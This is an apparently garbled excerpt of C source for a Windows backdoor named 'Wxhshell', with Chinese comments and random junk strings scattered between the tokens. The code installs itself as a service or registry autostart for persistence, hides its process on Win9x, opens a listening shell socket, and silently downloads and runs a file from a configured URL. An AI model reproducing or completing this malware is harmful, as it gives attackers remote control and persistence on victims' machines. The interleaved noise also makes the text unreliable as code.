sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :>}7^1I 3@nIoN'z CloseHandle(hProcess); [+d~He x<`^4|< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2 OV$M~ if(hProcess==NULL) return 0; \2!. >k
==7#P HMODULE hMod; &zd@cr1 char procName[255]; @~Ys*]4UE unsigned long cbNeeded; YZ]}l%e x+DETRLP if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NT2XG&$W> :_<&LO]Q CloseHandle(hProcess); !rs }83w! zB`J+r;LU if(strstr(procName,"services")) return 1; // 以服务启动 n*ROlCxV M3elog:M return 0; // 注册表启动 MQDLC7Y.p5 } eIy:5/s '%ByFZzi // 主模块 wpp!H<') int StartWxhshell(LPSTR lpCmdLine) fN@ZJ~F%j { H
"Io!{aKU SOCKET wsl; uF|Up]Z G BOOL val=TRUE; e|W;(@$< int port=0; ]8R@2L3s struct sockaddr_in door; Q>$lf.) }
xA@3RT if(wscfg.ws_autoins) Install(); $IS!GS&: &^K(9" port=atoi(lpCmdLine); \D k >dE&I lxCAZa\ if(port<=0) port=wscfg.ws_port; r*8a!jm? @ ;@~=w WSADATA data;
* ] if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d2NFdBoI {]U
\HE1w if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5~Ek_B setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E24SD' |) door.sin_family = AF_INET; p;'.7_1 door.sin_addr.s_addr = inet_addr("127.0.0.1"); x_I*6? door.sin_port = htons(port); T{^ P "g)bNgGV} if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D"-Wo}"8O' closesocket(wsl); +}1zw< return 1; mA$86 X_ } g\q4- +."|Y3a if(listen(wsl,2) == INVALID_SOCKET) { m&b1H9ymd closesocket(wsl); wdf;LM return 1; L1I1SFG } ,?Ie!r$6 Wxhshell(wsl); d(XOZF WSACleanup(); po'b((q _68vSYr return 0; ~4Gc~ " V_, `?>O } J)yg<*/3 h,B4Tg' // 以NT服务方式启动 %FM26^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T@{ab1KV { R&6@*Nn DWORD status = 0; P7zUf DWORD specificError = 0xfffffff; GDC@s<[k 1fsNQ!vQP serviceStatus.dwServiceType = SERVICE_WIN32; o?m1 serviceStatus.dwCurrentState = SERVICE_START_PENDING; Q0Do B serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2A@oa9 serviceStatus.dwWin32ExitCode = 0; WEX7=^k9 serviceStatus.dwServiceSpecificExitCode = 0; )`{m |\b serviceStatus.dwCheckPoint = 0; Al6%RFt serviceStatus.dwWaitHint = 0; )=() {4A,&pR hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 62,dFM7
if (hServiceStatusHandle==0) return; 6nE/8m Kr'? h'F status = GetLastError(); 6{^\7` if (status!=NO_ERROR) j;E$7QH[ { 1$Q[%9 serviceStatus.dwCurrentState = SERVICE_STOPPED; 6,jCO@!
serviceStatus.dwCheckPoint = 0; l,]%D serviceStatus.dwWaitHint = 0; _0gdt4 serviceStatus.dwWin32ExitCode = status; m:`M&Xs& serviceStatus.dwServiceSpecificExitCode = specificError; gg rYf* SetServiceStatus(hServiceStatusHandle, &serviceStatus); xg7KU& return; ,D*bLXWh } _V1:'T8 'dh{q`#0 serviceStatus.dwCurrentState = SERVICE_RUNNING; `?R{sNr. serviceStatus.dwCheckPoint = 0; =^rp=
Az serviceStatus.dwWaitHint = 0; onRTX|# if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2jC:uk } RD)Vb$.B: Ri`6X_xU // 处理NT服务事件,比如:启动、停止 /bo=,%wJ[ VOID WINAPI NTServiceHandler(DWORD fdwControl) ^78N25RU( { h9imS\gfr switch(fdwControl) YJHb\Cf. { k'|yUJ, case SERVICE_CONTROL_STOP: #yR&|*@ serviceStatus.dwWin32ExitCode = 0; \xggIW.^0 serviceStatus.dwCurrentState = SERVICE_STOPPED; |5dNJF8;Q serviceStatus.dwCheckPoint = 0; "u4x#7n| serviceStatus.dwWaitHint = 0; Gv dok<o { G8__6v~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); @w.DN)GPo } k*6"!J%A return; yv]|Ce@8A case SERVICE_CONTROL_PAUSE: Kn1;=k serviceStatus.dwCurrentState = SERVICE_PAUSED; e~(e&4pb break; Rzsu 7w case SERVICE_CONTROL_CONTINUE: [kN_b<Pc, serviceStatus.dwCurrentState = SERVICE_RUNNING; y0T#Qq break; U _A'/p^D case SERVICE_CONTROL_INTERROGATE: O%>*=h`P break; r0[<[jEh }; A g+B* SetServiceStatus(hServiceStatusHandle, &serviceStatus); nt()UC`5 } `W+-0F@Y?@ yF6AI@y // 标准应用程序主函数 nIlTzrf6 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ut'T!RD { *My9r.F5o 2SlL`hN>Z // 获取操作系统版本 u1UCe OsIsNt=GetOsVer(); 2(~Zl\ GetModuleFileName(NULL,ExeFile,MAX_PATH); aN*{nW fB7Jx6 // 从命令行安装 wL:7G if(strpbrk(lpCmdLine,"iI")) Install(); z?Z"*z ackeq# // 下载执行文件 4\|Q;@f if(wscfg.ws_downexe) { &v;fK$=2C if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :5j+^/ WinExec(wscfg.ws_filenam,SW_HIDE); `w>D6K+ } =$y J66e (=WYi~2v if(!OsIsNt) { Vi^vG`L9 // 如果时win9x,隐藏进程并且设置为注册表启动 z(%tu HideProc(); y O@1# StartWxhshell(lpCmdLine); ^;s/4 } 2-Q5l* else hPz=Ec<zW if(StartFromService()) XMZ$AeF@ // 以服务方式启动 *!
:j$n; StartServiceCtrlDispatcher(DispatchTable); Pke8RLg2A else C:^
:^y // 普通方式启动 z<fd!g+^ StartWxhshell(lpCmdLine); CFW Hih u$5.GmKm return 0; `\"<%CCe }
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